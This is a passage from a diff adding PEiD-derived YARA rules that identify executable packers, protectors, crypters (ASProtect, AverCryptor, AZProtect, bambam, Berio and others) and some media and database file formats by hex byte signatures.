+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00253_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00254_ASProtect_SKE_2_3____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.3 -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 E5 0B 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00255_ASProtect_v1_0_
+{
+    meta:
+        description = "[ASProtect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00256_ASProtect_v1_1_MTE_
+{
+    meta:
+        description = "[ASProtect v1.1 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00257_ASProtect_v1_1_MTEc_
+{
+    meta:
+        description = "[ASProtect v1.1 MTEc]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 1B ?? ?? ?? E9 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00258_ASProtect_v1_1_
+{
+    meta:
+        description = "[ASProtect v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+    condition:
+        $a
+}
+
+rule PEiD_00259_ASProtect_v1_2____Alexey_Solodovnikov__h1__
+{
+    meta:
+        description = "[ASProtect v1.2 -> Alexey Solodovnikov (h1)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00260_ASProtect_v1_23_RC1_
+{
+    meta:
+        description = "[ASProtect v1.23 RC1]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00261_ASProtect_v1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00262_ASProtect_v1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00263_ASProtect_v1_2x__New_Strain__
+{
+    meta:
+        description = "[ASProtect v1.2x (New Strain)]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00264_ASProtect_v1_2x_
+{
+    meta:
+        description = "[ASProtect v1.2x]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 68 01 ?? ?? ?? C3 AA}
+    condition:
+        $a
+}
+rule PEiD_00265_ASProtect_V2_X_DLL____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect V2.X DLL -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_00266_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board__h2__
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board (h2)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00267_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board_
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00268_ASProtect_vx_x_
+{
+    meta:
+        description = "[ASProtect vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+    condition:
+        $a
+}
+
+rule PEiD_00269_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00270_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45}
+    condition:
+        $a
+}
+
+rule PEiD_00271_ASYLUM_Music_File_v_1_0_
+{
+    meta:
+        description = "[ASYLUM Music File v.1.0]"
+        ep_only = "false"
+    strings:
+        $a = {41 53 59 4C 55 4D 20 4D 75 73 69 63 20 46 6F 72 6D 61 74 20 56 31 2E 30 00}
+    condition:
+        $a
+}
+
+rule PEiD_00272_Audio_CD_file_
+{
+    meta:
+        description = "[Audio-CD file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 44 41 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_00273_AutoDesk_Animation_file_
+{
+    meta:
+        description = "[AutoDesk Animation file]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? 00 12 AF ?? ?? 40 01 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00274_AverCryptor_1_0____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.0 -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00275_AverCryptor_1_02_beta____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.02 beta -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00276_AVI_movie_file_
+{
+    meta:
+        description = "[AVI movie file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 41 56 49 ?? 4C 49 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00277_AVP_Antiviral_Database_
+{
+    meta:
+        description = "[AVP Antiviral Database]"
+        ep_only = "false"
+    strings:
+        $a = {41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 74 61 62 61 73 65}
+    condition:
+        $a
+}
+
+rule PEiD_00278_AVP_Inspector_Database_
+{
+    meta:
+        description = "[AVP Inspector Database]"
+        ep_only = "false"
+    strings:
+        $a = {47 68 6F 73 74 20 42 75 73 74 65 72}
+    condition:
+        $a
+}
+
+rule PEiD_00279_AVPACK_v1_20_
+{
+    meta:
+        description = "[AVPACK v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00280_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83}
+    condition:
+        $a
+}
+
+rule PEiD_00281_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41}
+    condition:
+        $a
+}
+
+rule PEiD_00282_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "false"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00283_AZProtect_0x0001____AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0x0001 -> AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00284_AZProtect_
+{
+    meta:
+        description = "[AZProtect]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30}
+    condition:
+        $a
+}
+
+rule PEiD_00285_BamBam_0_01_
+{
+    meta:
+        description = "[BamBam 0.01]"
+        ep_only = "false"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00286_bambam_V0_01____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00287_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00288_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00289_BamBam_v0_01_
+{
+    meta:
+        description = "[BamBam v0.01]"
+        ep_only = "false"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0 0F 8E 39 01 00 00 89 45 F0 C6 45 FF 00 8D 7D E8 8B F3 8A 0E 8A 17 8A C1 3A CA 75 1E 84 C0 74 16 8A 56 01 8A 4F 01 8A C2 3A D1 75 0E 83 C6 02 83 C7 02 84 C0 75 DC 33 C0 EB 05 1B C0 83 D8 FF 85 C0 75 04 C6 45 FF 01 8B 43 10 85 C0 0F 84 DD 00 00 00 8B 43 08 50 E8 D7 04 00 00 8A 4D FF 83 C4 04 84 C9 8B 4B 08 89 45 F8 C7 45 F4 00 00 00 00 74 61 8B 15 07 ?? ?? 00 8B 35 6B ?? ?? 00 8B 7B 0C 2B CA 03 F2 8B D1 03 F7 8B F8 C1 E9 02 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00290_bambam_V0_04____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00291_bambam_V0_04____bedrock_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00292_BDC_HelpSystem_Help_file_
+{
+    meta:
+        description = "[BDC HelpSystem Help file]"
+        ep_only = "false"
+    strings:
+        $a = {42 44 43 20 48 65 6C 70 53 79 73 74 65 6D}
+    condition:
+        $a
+}
+
+rule PEiD_00293_beria_v0_07_public_WIP____symbiont__h__
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont (h)]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 3B F5 74 37 8B 46 0C 3B C5 8B 3D 04 30 ?? ?? 89 2E 89 6E 04 89 6E 08 74 06 50 FF D7 89 6E 0C 8B 46 10 3B C5 74 06 50 FF D7 89 6E 10 8B 46 14 3B C5 74 0A 50 FF D7 89 6E 14 EB 02 33 F6 6A 10 55 89 35 A4 40 ?? ?? FF D3 8B F0 3B F5 74 09 E8 08 12 00 00 8B C6 EB 02 33 C0 8B 48 08 8B 51 04 8B 09 8B 35 30 30 ?? ?? A3 D4 43 ?? ?? 8B 00 03 D0 52 03 C8 51 FF D6 8B 3D 24 30 ?? ?? 50 FF D7}
+    condition:
+        $a
+}
+
+rule PEiD_00294_beria_v0_07_public_WIP____symbiont_
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+    condition:
+        $a
+}
+
+rule PEiD_00295_Berio_1_00_beta__h__
+{
+    meta:
+        description = "[Berio 1.00 beta (h)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 12 00 00 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 B0 01 00 83 BD 22 04 00 00 00 89 9D 22 04 00 00 0F 85 65 03 00 00 8D 85 2E 04 00 00 50 FF 95 4D 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00296_Berio_2_00_beta__h__
+{
+    meta:
+        description = "[Berio 2.00 beta (h)]"
+        ep_only = "true"
+    strings:
